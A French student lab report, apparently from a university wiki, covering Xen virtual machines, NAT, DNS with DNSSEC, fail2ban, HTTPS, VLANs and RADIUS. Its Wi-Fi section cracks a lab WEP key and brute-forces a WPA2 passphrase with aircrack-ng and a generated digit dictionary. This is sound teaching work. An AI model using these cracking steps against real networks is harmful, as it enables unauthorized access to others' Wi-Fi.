Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
=== Création du bridge ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Création des machines virtuelles ===&lt;br /&gt;
Nous avons créé nos trois machines sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
